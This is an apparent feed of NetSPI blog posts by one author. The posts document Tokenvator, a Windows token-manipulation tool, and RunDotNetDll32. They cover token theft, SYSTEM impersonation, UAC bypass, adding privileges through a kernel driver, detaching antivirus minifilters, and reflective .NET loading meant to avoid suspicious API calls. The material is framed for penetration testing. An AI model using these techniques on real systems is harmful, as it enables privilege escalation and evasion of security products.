Alexander Polce Leary, Author at NetSPI The Proactive Security Solution Sun, 28 Apr 2024 23:39:25 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 https://www.netspi.com/wp-content/uploads/2024/03/favicon.png Alexander Polce Leary, Author at NetSPI 32 32 Tokenvator Release 3 https://www.netspi.com/blog/technical-blog/network-pentesting/tokenvator-release-3/ Thu, 22 Jul 2021 12:00:00 +0000 https://www.netspi.com/tokenvator-release-3/ This blog post discusses new additions to the Tokenvator for adding Token Privileges and manually crafting access tokens.

The post Tokenvator Release 3 appeared first on NetSPI.

]]>
Tokenvator Release 3 is a long overdue update that includes a major overhaul to the tool. From the user interface, it will be mostly familiar with some command line tweaks. Under the surface, large portions of the code base have been reworked, and parts of the base have had some updates. In this series, we will go over some of the changes and new features added. Teaser Alert: Adding Privileges & Creating Tokens

Improvements

First and foremost, the user interface. Historically, every action had a series of positional arguments that were clunky and generally difficult to remember. They were also not very flexible, and as the commands started to have more, and additional optional arguments, they became completely unwieldy. These have been replaced with flags that will auto complete.

For instance, to list and enable privileges:

To list and enable privileges

This also works in the non-interactive mode (though it won’t tab complete – sorry, it’s Windows):

Works in the non-interactive mode

Additionally, the scroll back function was improved and numerous bugs were resolved. For instance, now when you press up you will always go to the last command issued. A printable command history has also been added if you want to copy and paste instead or keep a log of your actions.

A printable command history has also been added if you want to copy and paste instead or keep a log of actions.

The info functionality was improved again, removing many bugs and adding additional information, such as impersonation contexts:

(Tokens) > whoami
[*] Operating as NT AUTHORITYSYSTEM

(Tokens) > info
[*] Primary Token
[+] User:
S-1-5-21-258464558-1780981397-2849438727-1001      DESKTOP-J5KC1AR xbadjuju

[*] Impersonation Tokens
[*] Primary Token Groups
[+] Enumerated 15 Groups:
S-1-5-21-258464558-1780981397-2849438727-513       DESKTOP-J5KC1ARNone
S-1-1-0                                            Everyone
S-1-5-114                                          NT AUTHORITYLocal account and member of Administrators group
S-1-5-32-544                                       BUILTINAdministrators
S-1-5-32-559                                       BUILTINPerformance Log Users
S-1-5-32-545                                       BUILTINUsers
S-1-5-4                                            NT AUTHORITYINTERACTIVE
S-1-2-1                                            CONSOLE LOGON
S-1-5-11                                           NT AUTHORITYAuthenticated Users
S-1-5-15                                           NT AUTHORITYThis Organization
S-1-5-113                                          NT AUTHORITYLocal account
S-1-5-5-0-870189                                   Some or all identity references could not be translated.
S-1-2-0                                            LOCAL
S-1-5-64-10                                        NT AUTHORITYNTLM Authentication
S-1-16-12288                                       Some or all identity references could not be translated.

Now, you have the option to get additional information by using the /all flag.

(Tokens) > info /all

Option     Value
------     -----
all

[*] Primary Token
[+] User:
S-1-5-21-258464558-1780981397-2849438727-1001      DESKTOP-J5KC1AR xbadjuju

[*] Impersonation Tokens
[*] Thread ID: 5820
[+] User:
S-1-5-18                                           NT AUTHORITYSYSTEM
[*] Thread ID: 1120
[*] Thread ID: 7108
[*] Thread ID: 9180
[*] Thread ID: 1152
[*] Thread ID: 8592
[*] Thread ID: 8076

[*] Primary Token Groups
[+] Enumerated 15 Groups:
S-1-5-21-258464558-1780981397-2849438727-513       DESKTOP-J5KC1ARNone
S-1-1-0                                            Everyone
S-1-5-114                                          NT AUTHORITYLocal account and member of Administrators group
S-1-5-32-544                                       BUILTINAdministrators
S-1-5-32-559                                       BUILTINPerformance Log Users
S-1-5-32-545                                       BUILTINUsers
S-1-5-4                                            NT AUTHORITYINTERACTIVE
S-1-2-1                                            CONSOLE LOGON
S-1-5-11                                           NT AUTHORITYAuthenticated Users
S-1-5-15                                           NT AUTHORITYThis Organization
S-1-5-113                                          NT AUTHORITYLocal account
S-1-5-5-0-870189                                   Some or all identity references could not be translated.
S-1-2-0                                            LOCAL
S-1-5-64-10                                        NT AUTHORITYNTLM Authentication
S-1-16-12288                                       Some or all identity references could not be translated.

[+] Source: User32

[*] Enumerating Token Privileges
[*] GetTokenInformation - Pass 1
[*] GetTokenInformation - Pass 2
[+] Enumerated 24 Privileges

Privilege Name                               Enabled
--------------                               -------
SeIncreaseQuotaPrivilege                     False
SeSecurityPrivilege                          False
SeTakeOwnershipPrivilege                     False
SeLoadDriverPrivilege                        False
SeSystemProfilePrivilege                     False
SeSystemtimePrivilege                        False
SeProfileSingleProcessPrivilege              False
SeIncreaseBasePriorityPrivilege              False
SeCreatePagefilePrivilege                    False
SeBackupPrivilege                            False
SeRestorePrivilege                           False
SeShutdownPrivilege                          False
SeDebugPrivilege                             True
SeSystemEnvironmentPrivilege                 False
SeChangeNotifyPrivilege                      True
SeRemoteShutdownPrivilege                    False
SeUndockPrivilege                            False
SeManageVolumePrivilege                      False
SeImpersonatePrivilege                       True
SeCreateGlobalPrivilege                      True
SeIncreaseWorkingSetPrivilege                False
SeTimeZonePrivilege                          False
SeCreateSymbolicLinkPrivilege                False
SeDelegateSessionUserImpersonatePrivilege    False


[+] Owner:
S-1-5-32-544                                       BUILTINAdministrators

[+] Primary Group:
S-1-5-21-258464558-1780981397-2849438727-513       DESKTOP-J5KC1ARNone

[+] ACL Count: 572

[+] Primary Token
[+] TokenElevationTypeFull
[*] Token: Split
[+] ProcessIntegrity: High

Impersonation Tokens

Previously, I had glossed over Impersonation (Thread) Tokens in the Tokenvator tool. When you impersonate a token, it doesn’t replace your primary token in your process. What it does is place the token in the calling thread. In this tool, this is typically the primary thread. Going forward, I will use Thread Token and Impersonation Token interchangeably.

In this example, we show the privileges on our primary token (List_Privileges), impersonate the SYSTEM account (GetSystem), list the privileges on our primary token again to show it hasn’t been altered (List_Privileges), and then finally list the privileges for the SYSTEM token we are impersonating (List_Privileges /Impersonation).

In the following example, we show the privileges on our primary token (List_Privileges), impersonate the SYSTEM account (GetSystem), list the privileges on our primary token again to show it hasn’t been altered (List_Privileges), and finally list the privileges for the SYSTEM token we are impersonating (List_Privileges /Impersonation).

In this second more complex example, we show the privileges on our primary token (List_Privileges), impersonate the SYSTEM account (GetSystem), list the privileges for the SYSTEM token we are impersonating (List_Privileges /Impersonation).

In this second, more complex example, we show:

  • The privileges on our primary token (List_Privileges)
  • Impersonate the SYSTEM account (GetSystem)
  • List the privileges for the SYSTEM token we are impersonating (List_Privileges /Impersonation)

We then:

  • Disable the SeAssignPrimaryTokenPrivilege on the Thread Token for SYSTEM (Disable_Privilege /Privilege:SeAssignPrimaryTokenPrivilege /Impersonation)
  • List the thread token privileges again (List_Privileges /Impersonation)
  • Re-enable the privilege on the token (Enable_Privilege /Privilege:SeAssignPrimaryTokenPrivilege /Impersonation)
  • List the privileges one last time (List_Privileges /Impersonation) to show that it has been reenabled

This could all be done against a remote process as well by passing /ProcessID:<ID> flag.

Similarly, thread tokens can be impersonated with the Steal_Token command by specifiying the /Thread Flag.

Similarly, Thread Tokens can be impersonated with the Steal_Token command by specifying the /Thread Flag.

Now for the Cool Stuff

The number one request I’ve gotten has been, “Can I add a privilege with this tool?” Until now, that issue has been open on GitHub. I can happily say, I can finally close this issue.

Like Morpheus said, some of these rules can be bent others can be broken. To change the privileges on the token, I’ve historically used advapi32!AdjustTokenPrivileges. This allows for privileges to be enabled, disabled, or removed. As far as I’ve been able to tell, this does not allow for adding privileges onto a token. But because that doesn’t work, it doesn’t mean that there are no other options. It’s time to enter the world of the kernel.

Exploring the Kernel

To look at the Windows kernel, you will probably need WinDbg. It involves installing several development kits from Microsoft (https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windbg–kernel-mode-). A local instance of the debugger can be started from an elevated command prompt: 

  • “C:Program Files (x86)Windows Kits10Debuggersx64kd.exe” -kl
Exploring the Kernel

From here we can start exploring.

Opaque Structures

As expansive as Microsoft Developer Network (MSDN) is, it is not all-encompassing. There are things that are intentionally not documented as they are not intended to be used. Among these is the EPROCESS structure. 

Part of this is that this structure can change without notice from Microsoft. I can personally confirm that this happened. While it may be difficult to track down the layout of this structure online, we can easily view it with WinDbg. Using the dt command in WinDbg we can view each instance of it.

Exploring with windbg

Let’s look at the process structure of an elevated Tokenvator instance:

It’s running with process ID of 8140, converted to hex it is 1FCC.

Process ID of 8140

Examining that process shows:

Exploring windbg proces

The line we are looking for is:

  • PROCESS ffff9a890b963080

The EPROCESS structure can be found at is at address ffff9a890b963080. Querying for the EPROCESS structure:

Querying for the EPROCESS structure

It’s mostly truncated here, but it’s big. Really big. Excluding the KPROCESS structure which takes up the address 0x000 – 0x438 it has 238 entries.

dt nt!_EPROCESS ffff9a890b963080
   +0x000 Pcb              : _KPROCESS
  …
   +0x460 PrimaryTokenFrozen : Pos 15, 1 Bit
  …
   +0x4b8 Token            : _EX_FAST_REF
  …
   +0xa10 DynamicEnforcedCetCompatibleRanges : _PS_DYNAMIC_ENFORCED_ADDRESS_RANGES

But in this structure, there is a field called Token which references the _EX_FAST_REF structure.

Querying the _EX_FAST_REF structure for the Token field shows the following.

Querying the _EX_FAST_REF structure for the Token field shows the following.

If we were query that address for a _TOKEN structure it wouldn’t work but looking the verbose process information with the command.

If we were query that address for a _TOKEN structure it wouldn’t work but looking the verbose process information with the command.

I didn’t immediately realize why the addresses were different. Fortunately, the ired.team was able to provide a useful insight:. they realized a bitwise AND (&) would correct the address.

We can see that it is at a similar address, now at this point I need to that the ired.team blog for getting me unstuck. They realized a bitwise and would correct the address.

Evaluate expression: -65372684652448 = ffffc48b`3c5a7060

Querying that address for the token we see a structure where the privileges are stored. 

Querying that address for the token we see a structure where the privileges are stored.

Querying that field reveals a structure that contains the present field where a bitwise or for each privilege can detect if it is present.

Querying that field reveals a structure that contains the present field where a bitwise or for each privilege can detect if it is present.

AND’ing that field can allow us to put privileges back on the token. 

Pulling it All Together

We’ve found what needs to be changed in the kernel, so how do we do that? Well, that involves creating a kernel mode driver that can interact with kernel memory. Introducing: the KernelTokens driver. 

This introduces several additional commands:

  • install_driver
  • start_driver
  • uninstall_driver
  • add_privilege
  • freeze_token
  • unfreeze_token

First, we need to install the driver. The default name is TokenDriver.

First, we need to install the driver. The default name is TokenDriver.

Now, let’s look at the existing privileges on the Tokens:

In this instance we see at the start there are 24 privileges. Let’s add two privileges SeTcbPrivilege and SeCreateTokenPrivilege.

In this instance we see at the start there are 24 privileges. Let’s add two privileges SeTcbPrivilege and SeCreateTokenPrivilege. First, we run the command Add_Privilege /Privilege:SeTcbPrivilege. This connects to the driver and updates the bitfield in memory. Running List_Privileges again we see SeTcbPrivilege is now on the token. Running the Add_Privilege /Privilege:SeCreateTokenPrivilege command again allows us to add this privilege as well. As can be seen during the final List_Privileges command, 26 privileges are now present on the token including SeTcbPrivilege and SeCreateTokenPrivilege.

Causing Some Shenanigans

Critical Processes are a fun flag that can be added to a process to indicate that it is critical to the system functionality. This can be used to force a system to blue screen, or in some cases prevented the process from being killed.

Critical Processes are a fun flag that can be added to a process to indicate that it is critical to the system functionality.

When it does, well…

This can be used to force a system to blue screen or in some cases prevented the process from being killed.

Becoming Someone Else:

One of the interesting things that I always wanted to add was the ability to become another user on the system without having to steal their token from a running process. There are several ways to accomplish this with increasing levels of difficulty:

  • RunAs
  • Logon_User
  • Create_Token

Each one of these methods calls a different API.

RunAs

The RunAs is almost identical to the RunAs /netonly command. Under the surface this is just calling CreateProcessWithLogonW.

The RunAs is almost identical to the RunAs /netonly command. Under the surface this is just calling CreateProcessWithLogonW.

Logon_User

Logon_User is a little more complex, depending on the options provided it is either calling LogonUser or LogonUserExExW (no, not a typo) and then uses the newly created token to call CreateProcessWithTokenW.

Logon_User is a little more complex, depending on the options provided it is either calling LogonUser or LogonUserExExW (no, not a typo) and then uses the newly created token to call CreateProcessWithTokenW.

Using this we can become any user we have credentials for as well as local service accounts such as Network Service or Local Service.

Create_Token

Lastly, the final technique for this part of the post is create_token. Under the surface this calls ntdll!CreateToken – this is a bit of a bear. This manually crafts the token from scratch and then calls CreateProcessWithTokenW.

This manually crafts the token from scratch and then calls CreateProcessWithTokenW.

As can be seen above, with this we can become disabled users and ephemerally add them to groups by adding the group onto the token at creation time.

This release can now be accessed on GitHub. To download and learn more about Tokenvator visit: https://github.com/0xbadjuju/Tokenvator.

The post Tokenvator Release 3 appeared first on NetSPI.

]]>
Tokenvator: Release 2 https://www.netspi.com/blog/technical-blog/adversary-simulation/tokenvator-release-2/ Thu, 27 Sep 2018 07:00:21 +0000 https://www.netspi.com/tokenvator-release-2/ New Tokenvator release! Now with more token privilege manipulation, new named pipe token attacks, and File System Minifilter manipulation.

The post Tokenvator: Release 2 appeared first on NetSPI.

]]>
What is Tokenvator?

Tokenvator is a token manipulation utility that is primarily used to alter the privileges of a process. In the original release we primarily focused on elevating process privileges. In this release, in addition to the usual bug fixes and improving existing features, I added several new features:

  • The ability to display additional token information
  • A help command that’s actually useful
  • Disabling and Removing Token Privileges
  • Named Pipe Tokens
  • Minifilter Manipulation

Use Cases:

There are a multitude of instances where elevating privilege or duplicating another processes token is necessary to proceed on an assessment. Most credential theft mechanisms require SYSTEM privileges, and now an impersonated SYSTEM token may not be enough. Tokenvator now tries to not only impersonate tokens, but also tries to start the process with a primary token.

Samdump

Displaying Token Information:

It can be useful to know some limited information about the token. For instance, just because you’re impersonating a token doesn’t mean you inherit all the privileges of the token. For instance, not all SYSTEM tokens are created or impersonated identically.

In the example below we are operating as SYSTEM but are still in our original groups.

Img Ba Ba Bc C

However, in the second example below, we got SYSTEM via the command GetSystem and are operating as SYSTEM and are placed in the relevant groups for SYSTEM.

Img Ba Ba C Bf

In this final example we got SYSTEM via the command GetSystem cmd.exe which used the same token to start a new process.

Img Ba Ba E Bf D

Help Command Changes

In the first release, the help command left a lot to be desired, when the author of the tool can’t remember how to run the command and the help menu doesn’t help him… there might be a problem.  So some changes were may to provide some additional help for each supported method.  Below is an example.

Img Ba C F C

Img Ba C Ffe Da

Token Privilege Modifications:

In the previous release it was possible to enable a privilege on a process. In this example we are enabling SeSystemEnvironmentPrivilege on LogonUI.

Img Ba C Dd D

That’s neat, but what if we wanted to remove privileges from a process?

Tokenvator now supports disabling or deleting a privilege placed on a process. In this instance we first disable and then remove the SeDebugPrivilege from the Powershell 6 process (pwsh.exe).

Disable Remove

But what if we really don’t want a process to have any privileges on a system? That is possible as well. In this example we remove all the privilege held by the splunkd process token. My intent is not to pick on Splunk, splunkd was just the first thing in my lab that met the example criteria. 😉

Nuke

Named Pipe Tokens

There are instances where we don’t  have the SeDebugPrivilege and thus cannot open a process we do not own. In these instances, we need a different method to GetSystem. This is where named pipes come into play. Via the Windows API’s we have the native ability to impersonate anyone who connects to our named pipe.

Img Ba C C

This can be useful in other situations where services connect to a known named pipe name. In these instances, we can create an arbitrary named pipe and steal the remote processes token as soon as they connect and write to our pipe. For processes that use named pipes for inter process communication this opens up a potential attack surface.

Img Ba C F B

Minifilters:

Many defensive products use hooks to intercept calls to check for malicious activity. Microsoft has strongly suggested that when it comes to the file system, vendors do not hook calls but instead use Minifilters which will be passed the file system data. AV / EDR products are given a specified altitude or precedence in which they are to inspect the file. This aspect of them also makes them trivial to identify.

Below are the Minifilters associated with Windows Defender and vShield.

Img Ba C Bdf

Img Ba C Af

DeviceMup is the Minifilter associated with UNC paths. To detach the filter monitoring network paths we can run a simple command. Note: Not all Minifilters can be detached, however many, many can be. This is because not all filters programmed with an unload routine, which prevents Minifilters from gracefully unloading.

Img Ba C F A

In the following demo we are going to be detaching a Minifilter from a file system so that we can run our tool while the AV product is still running.

Filters

If you’re looking for a more permanent way to disable Minifilters, I would suggest looking at this registry key.

Img Ba C B Ed

So that’s all for this release. Thank you to everyone took the time to file bug reports and let me know how they were using the tool. And a special thank you to those who submitted pull requests for this release. If you have any suggestions or feature requests please feel free to let me know.

The post Tokenvator: Release 2 appeared first on NetSPI.

]]>
.Net Reflection without System.Reflection.Assembly https://www.netspi.com/blog/technical-blog/thick-application-pentesting/net-reflection-without-system-reflection-assembly/ Wed, 25 Jul 2018 07:00:54 +0000 https://www.netspi.com/net-reflection-without-system-reflection-assembly/ This blog shows how to load a .Net Assembly without having to call the suspicious Assembly.LoadFile() or Assembly.Load() Functions. Examples of the new version of RunDotNetDll32 will also be shared that use the technique.

The post .Net Reflection without System.Reflection.Assembly appeared first on NetSPI.

]]>
This is a quick blog to cover an alternative technique to load a .Net Assembly without having to call the suspicious Assembly.LoadFile() or Assembly.Load() Functions.

Not too long ago I released a tool called RunDotNetDll32 to make it easier to execute methods from .Net DLLs without going through the process of loading them and executing them in PowerShell.  It can be downloaded here. However, under the hood the application is still called System.Reflection.Assembly.LoadFile(). Below is a C# example of this process.

String path = ".WheresMyImplant.dll";
String nameSpaceName = "WheresMyImplant";
String className = "Implant";
String method = "RunPowerShell";
String arguments = "$env:logonserver";
Assembly assembly = Assembly.LoadFile(Path.GetFullPath(path));
Type type = assembly.GetType(namespaceName + "." + className);
MethodInfo methodInfo = type.GetMethod(method);
Console.WriteLine((String)methodInfo.Invoke(null, arguments));

While this was functional, it was also not ideal if you’re trying to avoid calling suspicious methods or APIs.

Enter type loading

There are a multitude of ways to call reflection, one of which is the System.Type.GetType() method. This particular method requires the DLL to be in one of two places: the same directory as the executing assembly or in the GAC. Using this as a search path, the Assembly’s Fully Qualified Name can be passed as a parameter and be automatically loaded.

String path = ".WheresMyImplant.dll";
String nameSpaceName = "WheresMyImplant";
String className = "Implant";
String method = "RunPowerShell";
String arguments = "$env:logonserver";
AssemblyName assemblyName = AssemblyName.GetAssemblyName(Path.GetFullPath(path));
String fullClassName = String.Format("{0}.{1}", namespaceName, className);
Type type = Type.GetType(String.Format("{0}, {1}", fullClassName, assemblyName.FullName));
MethodInfo methodInfo = type.GetMethod(method);
Console.WriteLine((String)methodInfo.Invoke(null, arguments));

There is nothing particularly special about System.Reflection.AssemblyName in this context, but it does save us some effort by automatically parsing the Assembly’s Fully Qualified Name.

In PowerShell, the previous code could be equivalently executed with the following script:

$Path = ".WheresMyImplant.dll";
$NameSpaceName = "WheresMyImplant";
$ClassName = "Implant";
$Method = "RunPowerShell";
$Arguments = "`$env:logonserver";
$Full_Path = [System.IO.Path]::GetFullPath($Full_Path);
$AssemblyName = [System.Reflection.AssemblyName]::GetAssemblyName($Path)
$Full_Class_Name = "$NameSpaceName.$ClassName"
$Type_Name = "$Full_Class_Name, $($AssemblyName.FullName)"
$Type = [System.Type]::GetType($Type_Name)
$MethodInfo = $Type.GetMethod($Method)
$MethodInfo.Invoke($null, $Arguments)

Again, note that the DLL being reflectively loaded needs to exists in the same directory as the executing assembly or in the GAC.

RunDotNetDll32 – Now with less Assembly.LoadFile()

Given this the option to run a method using Type.GetType() has been added along with other flags, doing away with the previously used positional parameters.

Using LoadFile

----------
Namespace: WheresMyImplant
Class: Implant
Method: RunPowerShell
Arguments: $env:LogonServer
----------
TestServer2016

Using GetType

rundotnetdll32 .exe -t WheresMyImplant.dll,WheresMyImplant,Implant,RunPowerShell $env:LogonServer
----------
Namespace: WheresMyImplant
Class: Implant
Method: RunPowerShell
Arguments: $env:LogonServer
----------
TestServer2016

Other RunDotNetDll32 Changes

Along with removing the positional parameters and replacing them with flags, the listing functions have been refined.

Namespaces

rundotnetdll32.exe -l WheresMyImplant.dll
[N] WheresMyImplant
[N] Empire
[N] Unmanaged.Libraries
[N] Unmanaged.Headers
[N] Org.BouncyCastle.Crypto
[N] Org.BouncyCastle.Utilities
[N] Org.BouncyCastle.Crypto.Digests

NameSpace Classes

rundotnetdll32.exe -l WheresMyImplant.dll -n Unmanaged.Libraries
[N] Unmanaged.Libraries
   [C] secur32
   [C] wlanapi
   [C] crypt32
   [C] ntdll
   [C] PROCESSINFOCLASS
   [C] _PROCESS_BASIC_INFORMATION
   [C] kernel32
   [C] dbghelp
   [C] _LOADED_IMAGE
   [C] advapi32
   [C] CRED_TYPE
   [C] LOGON_FLAGS
   [C] vaultcli
   [C] wtsapi32
   [C] _WTS_INFO_CLASS
   [C] _WTS_CONNECTSTATE_CLASS
   [C] _WTS_SESSION_INFO
   [C] user32

Class Methods

rundotnetdll32.exe -l WheresMyImplant.dll -n Unmanaged.Libraries -c kernel32
[N] Unmanaged.Libraries
   [C] kernel32
      [M] SetThreadContext
      [M] VirtualAlloc
      [M] VirtualAllocEx
      [M] VirtualProtect
      [M] VirtualProtectEx
      [M] VirtualQueryEx
      [M] VirtualQueryEx64
      [M] WaitForSingleObject
      [M] WaitForSingleObjectEx
      [M] WriteProcessMemory
      [M] WriteProcessMemory
      [M] CloseHandle
      [M] CreateProcess
      [M] CreateRemoteThread
      [M] CreateThread
      [M] CreateToolhelp32Snapshot
      [M] GetCurrentThread
      [M] GetCurrentProcess
      [M] GetModuleHandle
      [M] GetNativeSystemInfo
      [M] GetPrivateProfileString
      [M] GetProcAddress
      [M] GetSystemInfo
      [M] GetThreadContext
      [M] IsWow64Process
      [M] Module32First
      [M] Module32Next
      [M] LoadLibrary
      [M] Process32First
      [M] Process32Next
      [M] OpenProcess
      [M] OpenProcessToken
      [M] OpenThread
      [M] OpenThreadToken
      [M] ReadProcessMemory
      [M] ReadProcessMemory64
      [M] ResumeThread
      [M] SetConsoleCtrlHandler
      [M] ToString
      [M] Equals
      [M] GetHashCode
      [M] GetType

Method Parameters

rundotnetdll32.exe -l WheresMyImplant.dll -n Unmanaged.Libraries -c kernel32 -m OpenProcess
[N] Unmanaged.Libraries
   [C] kernel32
      [M] OpenProcess
         [P] 0  dwDesiredAccess System.UInt32
         [P] 1  bInheritHandle  System.Boolean
         [P] 2  dwProcessId     System.UInt32
         [R] 0  IntPtr          System.IntPtr

The post .Net Reflection without System.Reflection.Assembly appeared first on NetSPI.

]]>
Tokenvator: A Tool to Elevate Privilege using Windows Tokens https://www.netspi.com/blog/technical-blog/adversary-simulation/tokenvator-a-tool-to-elevate-privilege-using-windows-tokens/ Tue, 19 Jun 2018 07:00:27 +0000 https://www.netspi.com/tokenvator-a-tool-to-elevate-privilege-using-windows-tokens/ Tokenvator: A Tool to Elevate Privilege using Windows Tokens – It works by impersonating or altering authentication tokens in processes that the executing process has the appropriate level of permissions to.

The post Tokenvator: A Tool to Elevate Privilege using Windows Tokens appeared first on NetSPI.

]]>
Tokenvator: A Tool to Elevate Privilege using Windows Tokens

WheresMyImplant is a mini red team toolkit that I have been developing over the past year in .NET. While developing and using it, I found that I consistently needed to alter my process access token to do such things as SYSTEM permissions or add debug privileges to my process. The library used for this expanded to the point where it was as useful as an independent toolkit. This is why I created Tokenvator. It is a simple tool I wrote in .NET that can be used to elevate to the appropriate permissions on Windows. It works by impersonating or altering authentication tokens in processes that the executing process has the appropriate level of permissions to.

Tokenvator can be downloaded from https://github.com/0xbadjuju/Tokenvator from the releases section. Compiling instructions can be found on GitHub at the bottom of the page.

Basic Usage

Tokenvator can be run in an interactive prompt, or commands can be provided as command line arguments. In the interactive mode, base commands will tab complete, with double tabs providing context specific help.

C:Usersbadjuju>Tokenvator.exe
(Tokens) > help
Name                     Optional            Required
----                     --------            --------
GetSystem                Command             -
GetTrustedInstaller      Command             -
Steal_Token              Command             ProcessID
BypassUAC                ProcessID           Command
List_Privileges          ProcessID           -
Set_Privilege            ProcessID           Privilege
List_Processes           -                   -
List_Processes_WMI       -                   -
Find_User_Processes      -                   User
Find_User_Processes_WMI  -                   User
List_User_Sessions       -                   -
WhoAmI                   -                   -
RevertToSelf             -                   -
Run                      -                   Command

(Tokens) > WhoAmI
Name                     Optional            Required
----                     --------            --------
WhoAmI                   -                   -

(Tokens) > WhoAmI
[*] Operating as LABbadjuju

While most of the screenshots will show commands running from an interactive (Tokens) > prompt, it is possible to run all commands as an argument.

Img Af Bd C D

Steal_Token

At it’s most basic level, Tokenvator is used to access and manipulate Windows authentication tokens. To appropriate the token of another process, we can run the Steal_Token command with the target process’s PID.

(Tokens) > Steal_Token
Name                     Optional            Required
----                     --------            --------
Steal_Token              Command             ProcessID

(Tokens) > Steal_Token 7384
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[*] Impersonating 7384
[+] Recieved Handle for:  (7384)
[+] Process Handle: 824
[+] Primary Token Handle: 828
[+] Duplicate Token Handle: 824

(Tokens) > whoami
[*] Operating as labbackup

We can also optionally add a command to be run that will be launched with the new access token.

(Tokens) > Steal_Token 7384 powershell.exe
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[+] Recieved Handle for:  (7384)
[+] Process Handle: 860
[+] Primary Token Handle: 864
[+] Duplicate Token Handle: 860
[*] CreateProcessWithTokenW
[+] Created process: 14524
[+] Created thread: 18784
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:WINDOWSsystem32> whoami
labbackup
PS C:WINDOWSsystem32> $pid
14524

GetSystem

The most common token I need to steal is for the NT AUTHORITYSYSTEM account. The GetSystem command was created as a wrapper for Steal_Token to automatically find and access SYSTEM tokens. It works with the same syntax as Steal_Token. Note: This needs to be run from an elevated context.

(Tokens) > GetSystem
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[*] Searching for NT AUTHORITYSYSTEM
[*] Examining 344 processes
[*] Discovered 118 processes
[*] Impersonating 5488
[+] Recieved Handle for:  (5488)
[+] Process Handle: 888
[*] Impersonating 4444
[+] Recieved Handle for:  (4444)
[+] Process Handle: 868
[+] Primary Token Handle: 904
[+] Duplicate Token Handle: 868

(Tokens) > WhoAmI
[*] Operating as NT AUTHORITYSYSTEM

(Tokens) > RevertToSelf
[*] Reverted token to labbadjuju

Img Af C Fb E

I’ve discovered that I am unable to directly access the token of certain processes unless I’ve first elevated to SYSTEM. Examples of the are the NT SERVICE accounts such as a local SQL service process. This might be necessary if the local SYSTEM account doesn’t have SYSADMIN privileges on the database. Scott Sutherland talks more about this in this blog.

Img Af Caac

GetTrustedInstaller

It is common for the files in the SYSTEM32 folder or parts of the registry to be owned by the TRUSTEDINSTALLER group. To manipulate the contents of these locations, we can either take ownership or get an access token that has membership in the TRUSTEDINSTALLER group. Similar to GetSystem, GetTrustedInstaller is a wrapper for Steal_Token that starts the TrustedInstaller service and appropriates it’s token.

Img Af Cdd Cee

List_Privileges and Set_Privilege

Sometimes our process doesn’t have the particular access right that we need in order to complete a task. For instance, to access a process that your current user doesn’t own, the SeDebugPrivilege is required. Shown below is a split token in a high integrity process (UAC Elevated – TokenElevationTypeFull)

Img Af Ce Cc

And here we can see the default privileges assigned to a split token in a medium integrity process (UAC Not Elevated – TokenElevationTypeLimited)

Img Af D Dc Efc

For this functionality, we are not limited to just our own process Let’s examine what notepad.exe’s token looks like when run as administrator. Note: To access a process not owned by your current user, the SeDebugPrivilege must be enabled on your current process.

Img Af D B B

Having examined notepad.exe’s token, we can remotely alter the privileges on it. Let’s add SeLoadDriverPrivilege to that token and see what happens.  Note: Privilege names are case sensitive.

Img Af D Bc

Sure enough, notepad.exe can now load a driver, for whatever interesting use case that might require that. In the future the ability to remove privileges will be added.

BypassUAC

UAC bypasses have become plentiful that this point, however one of the more interesting ones comes from manipulating tokens. FuzzySecurity has done some very interesting work on a UAC bypass method utilizing Windows tokens. Tokenvator includes an implementation of the technique he published. Below, our unprivileged token can be used to access an elevated process our current user owns and spawn an elevated shell.

Img Af E E Ecef

While this method likely will not be patched in the near future, it is not without its limitations. As can be seen below, while the process is high integrity, the privileges assigned to the token are still limited.

Finding User Processes

For finding a user on a system there are multiple methods for identification. Firstly, we can look at registered session on the system.

(Tokens) > List_User_Sessions
User                          SessionID
----                          ---------
0
badjuju                       1
backup                        2

One feature that I’ve wanted is the ability to have a summary view of user processes to get a sample of users and a process that they own. This is what the List_Processes command accomplishes.

(Tokens) > List_Processes
User                                    Process ID          Process Name
----                                    ----------          ------------
labbadjuju                             4000                conhost

List_Processes takes advantage of the native API’s on the host and is quite fast at listing a summary of processes and owners. As of now, it will not be able to function properly unless run from an elevated context. Because of this, List_Processes_WMI has been included. As the name might imply, this operates via WMI. While not as quick as List_Processes, it can provide a more thorough view from a non-elevated context.

(Tokens) > List_Processes_WMI
[*] Examining 102 processes
User                                    Process ID          Process Name
----                                    ----------          ------------
                                       0                   Idle
LABBADJUJU                             448                 taskhost
LOCAL XBADJUJU                         1568                cmd

Or we can poll the system for for all processes running under the context of a particular user. Note: as of the initial release, the full username is required.

(Tokens) > Find_User_Processes WINDOWS7ENTERPRBADJUJU
[*] Examining 100 processes
[*] Discovered 29 processes
Process ID                    Process Name
----------                    ------------
3268                          calc
3520                          cmd
2604                          cmd
4000                          conhost
4664                          conhost
920                           conhost
1972                          conhost
4928                          conhost
2760                          conhost
656                           dwm
1776                          explorer
5048                          msvsmon
5352                          msvsmon
3412                          notepad
3552                          powershell
3116                          powershell_ise
2464                          rdpclip
4820                          rundotnetdll32
3944                          taskhost
448                           taskhost
3424                          Tokenvator
4892                          VCSExpress

Similarly to List_Processes a mechanism to accomplish the same task has been included via WMI. This will also work in an unelevated context.

(Tokens) > Find_User_Processes_WMI LOCAL xBADJUJU
[*] Examining 102 processes
[*] Discovered 31 processes
Process ID                    Process Name
----------                    ------------
1568                          cmd.exe
2108                          conhost.exe
1936                          procexp64.exe
3544                          cmd.exe
3608                          conhost.exe
3892                          x64dbg.exe

I made this program for myself and the NetSPI team, but hopefully it will be useful to others.  If you have any bugs, commits, or feature requests let me know. All are welcome.

The post Tokenvator: A Tool to Elevate Privilege using Windows Tokens appeared first on NetSPI.

]]>
Executing .NET Methods with RunDotNetDll32 https://www.netspi.com/blog/technical-blog/adversary-simulation/executing-net-methods-rundotnetdll32/ Tue, 24 Apr 2018 07:00:45 +0000 https://www.netspi.com/executing-net-methods-rundotnetdll32/ This blog introduces RunDotNetDll32.exe, which is a new tool for reflectively enumerating and executing .NET methods. It’s syntactically very similar to RunDll32.exe.

The post Executing .NET Methods with RunDotNetDll32 appeared first on NetSPI.

